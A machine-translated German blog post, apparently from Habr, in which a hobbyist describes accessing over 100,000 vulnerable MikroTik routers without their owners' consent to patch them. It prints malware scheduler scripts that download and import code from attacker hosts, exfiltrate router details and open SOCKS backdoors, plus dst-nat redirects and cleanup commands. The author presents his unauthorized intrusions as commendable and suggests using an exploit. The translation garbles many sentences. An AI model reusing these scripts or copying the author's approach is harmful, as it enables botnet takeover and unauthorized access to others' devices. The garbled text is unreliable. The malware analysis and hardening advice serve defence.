RouterOS ist ein sehr leistungsfähiges Werkzeug in den Händen von Fachleuten und verantwortungsbewussten Fachleuten. Aber in den Händen von Anfängern oder denen, die alles auf dem "und so aussteigen" tun, beginnt Mikrotik sein eigenes Leben zu führen und verwandelt sich in einen Botnetzknoten.
Bereits im Mai 2018 schrieb ich einen Artikel
mit Empfehlungen zum Schutz meiner Mikrotik .
Seltsamerweise gibt es immer noch Tausende von "offenen" Mikrotik-Routern im Netzwerk, und die Armee des Botnetzes füllt sich wieder auf.
In meiner Freizeit von Arbeit und Freizeit habe ich im gesamten Netzwerk nach anfälligen Geräten gesucht und Einstellungen gemäß meinen Empfehlungen vorgenommen. Das heißt, ich habe Firewall-Regeln hinzugefügt, die den Zugriff auf den Router nicht über das lokale Netzwerk blockieren. In den Kommentaren schrieb ich Informationen über die Sicherheitsanfälligkeit und hinterließ die Adresse des Telegrammkanals
@router_os, wo ich Fragen von Interesse stellen konnte (sie sollten in einem normalen Administrator erscheinen).

Von Mai bis heute habe ich mehr als 100.000 Mikrotik-Geräte aus den Kupplungen des Botnetzes "gezogen".
Da ich auf der
MUM 2018 in Moskau nicht sprechen kann, habe ich beschlossen, meinen Bericht auf habr.com zu veröffentlichen
Es gibt viele Analysen im Netzwerk, wie RouterOS von Hackern verwendet wird (zum Beispiel
hier ). Aber mein Artikel basiert persönlich auf meiner Erfahrung.
Administratoren und ihre Reaktion
Überall auf der Welt entdeckten Router-Administratoren früher oder später ein solches Osterei.

/ Systemhinweis/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os
Am leisesten bedeckte er das Loch. Jemand war nicht zu faul, mir "Danke" zu schreiben. Aber es gab diejenigen, die es
lautstark ablehnten, nicht zu verstehen.
Ein normaler Spezialist sollte angemessen reagieren, wenn er auf seinen Fehler hinweist. Für die ganze Zeit haben mir nicht mehr als 50 Leute geschrieben ...
Da die Reaktion der Benutzer minimal war, kam ich zu dem Schluss, dass die überwiegende Mehrheit nicht einmal bemerken wird, dass etwas am Router nicht stimmt. Aus diesem Grund habe ich begonnen, mein Skript zu verfeinern, wodurch zusätzlich zu den Firewall-Regeln die mir bekannten Hintertüren gelöscht werden, die die Angreifer hinterlassen haben.
Es ist logisch, dass meine Methode nicht jedem passt. Aber ich habe noch keinen anderen Ansatz für diese Aufgabe gefunden.
Hacker lieben RouterOS
In den allermeisten Fällen landete ich auf einem Gerät, das bereits von jemandem infiziert wurde. Leider habe ich nicht sofort begonnen, deren Inhalt zu analysieren. Hier ist, was ich gefunden habe und was ein sicheres Zeichen dafür ist, dass Ihr Router kompromittiert ist.
Web-Proxys und Socken
Die häufigste Verwendung des Routers erfolgt über Standard-Web- und Socken-Proxys. Wenn Sie sie nicht verwenden, sie aber eingeschaltet sind, schalten Sie sie einfach aus.
/ip proxy set enabled=no
/ip socks set enabled=no
Um es einfach auszuschalten, fügt der Hacker dem Sheduler ein Skript hinzu, das der Proxy nach einer Weile einschaltet:
/ System-Skript/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"
Sie finden die Datei
webproxy/error.html
, die Ihnen der Proxy
webproxy/error.html
, und die wiederum den Miner aufruft.
Zusätzliche Parameter werden hier angezeigt:
/ip proxy access print
/ip socks access print
Skript kann alles
90% der ausgewachsenen Mikrotiks haben Skripte
/system script
Systemskripte und für sie ist der Ausführungsplan
/system scheduler
konfiguriert.
Entsprechend dem Zeitplan wird ein Skript heruntergeladen, das anschließend ausgeführt wird.
Miner Installation/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"
Eine andere Version des Skripts, die nach der Anwendung versucht, sich teilweise zu verstecken./system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"
So haben Angreifer immer die Möglichkeit, ein neues Skript zu „füttern“ und beispielsweise einen groß angelegten DDOS-Angriff durchzuführen.
Skripte können überall versteckt werden Überprüfen Sie diese Stellen daher sorgfältig. Auf einem sauberen RouterOS sind diese Stellen leer.
DST-NAT
Zu meiner großen Überraschung, aber es gibt viele solcher Geräte, auf denen Datenverkehr durch
/ip firewall nat
gewickelt wird.
Spam bei dst-nat
/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
Ein guter Weg, um Ihre echte IP zu verstecken.
VPN
Wie ohne ihn. RouterOS kann verschiedene Arten von VPNs aufnehmen, aber Hacker verwenden meistens pptp und L2TP.
Überprüfen Sie also den Abschnitt
/ppp secret
Selbst wenn dieser Abschnitt leer ist, können sich listige Hacker über Radius anmelden.
Auf Datensätze
/radius print
Wenn Sie nichts konfiguriert haben, sollte es leer sein. Ansonsten lohnt es sich zu reinigen:
/radius remove numbers=[/radius find ]
Und verbieten Sie die Verwendung von Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Deaktivieren Sie die Verwendung von Radius für die Autorisierung auf dem Gerät
/user aaa set use-radius=no
Wenn Sie vpn nicht verwenden, deaktivieren Sie es
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no
DNS statisch
Es war nicht ohne Fisch. Auf Routern in / ip dns static finden Sie solche

Alles ist sehr einfach: Sie geben die Adresse der Site, die Sie kennen, in die Adressleiste ein, gelangen aber tatsächlich zum Server des Angreifers.
Inhalt löschen
/ip dns static remove numbers=[/ip dns static find]
Administratorrechte kürzen
UPD: Es gibt auch eine Gruppe von Routern, bei denen der Hacker die Rechte des Administrators abgeschnitten und seine eigenen mit vollen Rechten (z. B. Router und cnt) gestartet hat oder einfach die Rechte wegnimmt und die Firmware auf den neuesten Stand bringt.

Inhalt / Benutzer im ersten Fall[router @ MikroTik]> / user print
Flags: X - deaktiviert
# NAME GROUP ADRESSE LETZT ANGEMELDET
0 ;;; Systemstandardbenutzer
admin admin sep / 18/2018 15:08:45
1 dima full sep / 14/2018 19:54:00
2 Router voll sep / 26/2018 09:23:41
[router @ MikroTik]> / Benutzergruppendruck
0 name = "read" policy = local, telnet, ssh, reboot, read, test, winbox, passwort, web, sniff, sensitive, api, romon, tikapp ,! Ftp ,! Write ,! Policy ,! Dude skin = default
1 name = "write" policy = local, telnet, ssh, neustart, lesen, schreiben, testen, winbox, passwort, web, sniff, sensitive, api, romon, tikapp ,! Ftp ,! Policy ,! Dude skin = default
2 name = "full" policy = lokal, telnet, ssh, ftp, neu starten, lesen, schreiben, richtlinie, test, winbox, passwort, web, schnüffeln, sensibel, api, romon, dude, tikapp skin = default
3 name = "admin" policy = local, ftp, neustart, lesen, schreiben, testen, winbox, passwort, web, sniff, sensitive, api ,! Telnet ,! Ssh ,! Policy ,! Romon ,! Dude ,! Tikapp skin = Standard
Als Option zur Lösung dieses Problems: Führen Sie über netinstall ein Downgrade auf anfällige Firmware durch und verwenden Sie den Exploit.
Paketschnüffler
Kollegen von Kaspersky Lab
erwähnten den Diebstahl von Verkehr, indem sie ihn auf einen unbekannten Knoten umleiteten.
Sie können es folgendermaßen ausschalten:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no
Mikrotik Produktproblem
Absolut sichere Systeme gibt es nicht. Die Massenverteilung von Mikrotik-Produkten erforderte auch eine umfassende Untersuchung dieser Geräte.
Da Sie mit der Funktionalität von RouterOS eine Vielzahl von Aufgaben ausführen können, ist dies auch für Hacker interessant.
Aufgrund der Tatsache, dass sich das Produkt sehr dynamisch entwickelt, ist auch die Entstehungsrate neuer „Löcher“ groß. Trotzdem veröffentlicht Mikrotik schnell Patches für seine Systeme.
Beenden
Bisher ist die einzig richtige Lösung zum Schutz von RouterOS eine korrekt konfigurierte Firewall, die nach dem Prinzip "Alles, was eindeutig nicht erlaubt ist, ist verboten" arbeitet.
Und das alles, weil Mikrotik die klassische Linux-Firewall verwendet, die seit Jahren von einer Armee von Spezialisten weiterentwickelt wird.
Wenn Sie über das globale Netzwerk Zugriff auf das Gerät benötigen, verwenden Sie das Prinzip "
Port Knocking ". Das Prinzip „fail2ban“ rechtfertigt sich nicht immer, da es das Gerät immer noch erkennt.
Globale Lösungen
Lamer-Modus
Da die Geräte sehr billig sind, werden sie von Benutzern gekauft, die keine besonderen Kenntnisse haben. Mikrotik muss eine "lamer" -Schnittstelle entwickeln, die wie die meisten SOHO-Router eine minimale Anzahl von Einstellungen aufweist. Darüber hinaus sollte es die Standardeinstellung sein. Und der Benutzer muss den erweiterten Modus bewusst selbst aktivieren. Das aktuelle "Quick Set" ist nicht gut genug. Aufgrund der Fülle an Tasten kann es sein, dass der Benutzer diese Funktion nicht bemerkt.
Fehleranalysator
Außerdem ist ein Modul erforderlich, das die aktuelle Konfiguration auf mögliche Schwachstellen analysiert und den Benutzer benachrichtigt, wenn er glaubt, dass der Router möglicherweise gefährdet ist. Dieses Modul sollte die „Wissensdatenbank“ laden, die Mikrotik-Mitarbeiter aufgrund häufiger Fehler ausfüllen. Aktivieren Sie bei schwerwiegenden Sicherheitslücken den "Notfall" -Modus.
Wenn ich einen Teil der Bedrohungen systematisieren könnte, dann die Entwickler und noch mehr ...
Firewall - als Dienst von Anbietern
Der Markt für „intelligente“ Geräte entwickelt sich rasant und ist bei weitem nicht gut geschützt. Die meisten Leute, die sie kaufen, haben auch kein spezielles Wissen, um ihre Geräte selbst zu schützen.
Daher ist es für Internetanbieter an der Zeit, einen kommerziellen Dienst zum Schutz solcher Geräte zu erstellen. Der einfache Benutzer in Ihrem Konto gibt an, welche Ports über das Internet geöffnet werden sollen.
Anbieter können auch eine zentralisierte Datenbank mit vorhandenen Geräten und ihren normalen Anforderungen erstellen. Der Benutzer gibt im LC an, welche Geräte er verwendet. Bei abnormalem Verhalten eines solchen Geräts benachrichtigen Sie den Benutzer.
Ich glaube, dass der Markt für einen solchen Service bereits reif ist.
Dieser Service hat folgende Vorteile:
- Für den Anbieter ein weiterer Ertragsposten
- Reduzieren Sie den Störverkehr
- Reduzieren Sie die Geräte-Rekrutierung auf Botnet
- Förderung der Entwicklung von Smart-Home-Diensten
- Benutzer können sich nicht mehr um ihre Sicherheit kümmern.
Ein bisschen über mich
Ich werde versuchen, die Fragen zu beantworten, die sie mir wahrscheinlich stellen werden.
- Ich arbeite in Positionen, die nichts mit Mikrotik und Netzwerken im Allgemeinen zu tun haben.
- Ich habe jedoch ein MTCNA-Zertifikat.
- Mikrotik ist mein Hobby. Alles was ich tue - ich mag es einfach. Sozusagen "zum Spaß".
- Warum haben Sie keinen Job nach Profil bekommen? Wer in unserer Stadt Mikrotik kauft, kann ZP nicht viel bezahlen. Diejenigen, die mich würdig bezahlen können, kaufen Cisco.
- In den Kommentaren zur Firewall habe ich meine Brieftaschen angegeben, aber seit Mai warfen sie mir nur etwa 40 Dollar. Sie schrieben an Telegramme aus verschiedenen Ländern und sagten, dass sie kein wmz haben, aber trotzdem „Danke“.
PS:
Teilen Sie Ihre Erfahrungen mit, wie Hacker Mikrotik sonst verwenden können.